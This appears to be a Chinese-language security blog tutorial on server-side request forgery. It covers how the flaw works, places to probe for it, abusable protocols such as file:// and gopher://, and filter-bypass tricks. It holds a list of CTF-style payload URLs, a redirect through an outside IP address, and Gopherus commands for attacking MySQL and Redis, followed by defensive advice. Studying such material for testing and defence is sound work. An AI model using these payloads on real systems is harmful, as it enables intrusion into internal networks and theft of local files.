SSRF 服务端请求伪造:漏洞原理、渗透测试技巧与绕过实战详解

SSRF 服务端请求伪造:漏洞原理、渗透测试技巧与绕过实战详解

_

概述

SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造目标 URL,使服务器端代为发起请求,从而访问到外网无法直接访问的内部资源或服务的漏洞。由于请求是由服务端发起,攻击者可借此触达与外网隔离的内网主机与服务。

SSRF 常见成因:服务端提供从其它 URL 获取数据的功能,但对目标地址未做充分过滤或限制(例如未限制协议、未白名单域名、未校验 IP 范围等)。


一、SSRF 漏洞原理

  • 攻击者构造或诱导受害服务去访问攻击者控制的 URL 或内部资源。
  • 服务端收到 URL 后代为访问,并把结果(页面、文件或响应)返回或用于后续流程,进而泄露内部信息或触发内部服务。
  • SSRF 的核心:服务端具有“代理/抓取/回调”外部资源的能力且没有严格校验目标地址。

二、SSRF 漏洞挖掘(黑盒与白盒)

黑盒探针(常见可被利用的业务功能点)

  • 社交分享:抓取 URL 标题、缩略图等。
  • 转码服务:通过 URL 获取内容并转码(适配移动端)。
  • 在线翻译:翻译远程网页内容。
  • 图片加载/下载:富文本编辑器的图片导入或下载功能。
  • 图片/文章收藏:抓取并存储 URL 的 title/摘要以供展示。
  • 云服务厂商:远程探测站点是否存活、拉取资源等。
  • 网站采集/抓取功能:用户输入 URL 后会被抓取并处理。
  • 数据库内置功能(例如 MongoDB 的 copyDatabase)可触发外部请求。
  • 邮件系统:处理邮件时可能访问远程资源(如外部图片)。
  • 文件/编码处理库:ImageMagick、ffmpeg、docx/pdf/xml 解析器等。
  • 未公开的 API 或扩展:通过搜索引擎与关键词组合可发现调用 URL 的入口(如 google dorking)。

常见可能包含 URL 的参数(可作为爆破字典)

share, wap, url, link, src, source, target, u, display, sourceURL, imageURL, domain

白盒分析

  • 代码审计优先查看:文件读取、网络请求、URL 拼接、XML/HTML/图片处理、第三方库调用等位置,关注是否存在未过滤的外部输入直接作为请求目标的情况。

三、可利用的伪协议(SSRF 利用面)

http://    # 常见 Web 访问,例如 http://127.0.0.1
file:///   # 读取本地文件,例如 file:///etc/passwd
dict://    # 访问字典服务器资源,例如 dict://ip:port/info
sftp://    # SSH 文件传输(或安全传输)
ldap://    # 轻量目录访问协议
tftp://    # 简单文件传输协议
gopher://  # 原始 TCP 字节流传输(常用于向数据库/Redis/SMTP 发送协议字节)

注:gopher 常与工具(如 Gopherus)配合,生成针对性 payload,用于与内部服务(MySQL、Redis、SMTP 等)进行原始协议通信。


四、SSRF 绕过方式与示例

场景 绕过方法与示例
限制为 http://www.xxx.com 域名 利用基本认证符号 @ 绕过:http://www.xxx.com@www.xxyy.com
禁止内网 IP 1) 短网址绕过(URL 缩短后解析为内网 IP) 2) 将域名解析到内网(自定义域名指向 127.0.0.1) 3) IP 进制转换(十六进制/八进制/十进制) 4) 通过 3xx 重定向
IP 进制与特殊写法 十六进制:http://0x7F.0.0.1/flag.php 八进制:http://0177.0.0.1/flag.php 十进制整数:http://2130706433/flag.php 十六进制整数:http://0x7F000001/flag.php 省略模式:http://127.1/flag.php
DNS 解析到内网地址 在外部解析一个域名到 127.0.0.1test.example.com -> 127.0.0.1 后访问 http://test.example.com/flag.php
使用重定向 目标通过重定向指向内网:在你的主机返回 Location: http://127.0.0.1/flag.php,触发服务端重定向访问内网。
匹配不影响解析 在 URL 中加入不会影响解析的字符:http://ctf.@127.0.0.1/flag.php?show
长度/格式限制绕过 使用 http://0/flag.phphttp://0.0.0.0/flag.php 等非常规写法

五、CTF 常用绕过示例(汇总)

示例 URL:

# 直接访问内网
url=http://127.0.0.1/flag.php

# 十六进制、八进制、十进制格式
url=http://0x7F.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://2130706433/flag.php
url=http://0x7F000001/flag.php

# 省略与特殊写法
url=http://127.1/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

# DNS 劫持解析到内网
# test.xiaodi8.com -> 127.0.0.1
url=http://test.xiaodi8.com/flag.php

# 重定向绕过(远端脚本返回 Location 头)
# target 返回 header("Location:http://127.0.0.1/flag.php");
url=http://47.94.236.117/xx.php

# 含 @ 的写法
url=http://ctf.@127.0.0.1/flag.php?show

六、gopher 工具与示例(打服务)

  • 推荐工具:Gopherus(GitHub:tarunkant/Gopherus)
  • 示例命令(Windows 风格示例):
# MySQL exploit
d:\Python2.7\python.exe gopherus.py --exploit mysql

# Redis exploit
d:\Python2.7\python.exe gopherus.py --exploit redis

使用 gopher 时,通常要把要发送的原始协议字节流进行特殊编码(例如 URL 编码),以便在 gopher:// 的路径部分传递。


七、SSRF 防御建议

  1. 白名单校验:只允许访问受信任的外部域名/主机列表(并对返回的 IP 进行二次检查)。
  2. 协议限制:仅允许 http/https,禁用 file://gopher://ftp:// 等危险协议。
  3. 端口限制:限制可访问的端口集合(例如仅 80、443、8080、8443 等)。
  4. 内网 IP 过滤:拒绝所有指向内网地址段(如 10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8)或链路本地/特殊地址的请求。
  5. 禁止不必要的重定向:限制或审计 3xx 重定向行为,避免被利用重定向到内网。
  6. 统一错误响应:隐藏详细错误信息,避免泄露端口/服务存活信息。
  7. 禁止危险功能:禁用不必要的服务端文件读取、远程协议解析或命令执行能力。
  8. 安全检测与审计:对外部 URL 请求加日志、限速、熔断,并对异常访问进行告警。

RCE漏洞全面解析:利用、绕过与无回显攻击技术 2026-01-08
SSRF 利用笔记:协议利用、gopher 构造与内网服务攻击 2026-01-08

评论区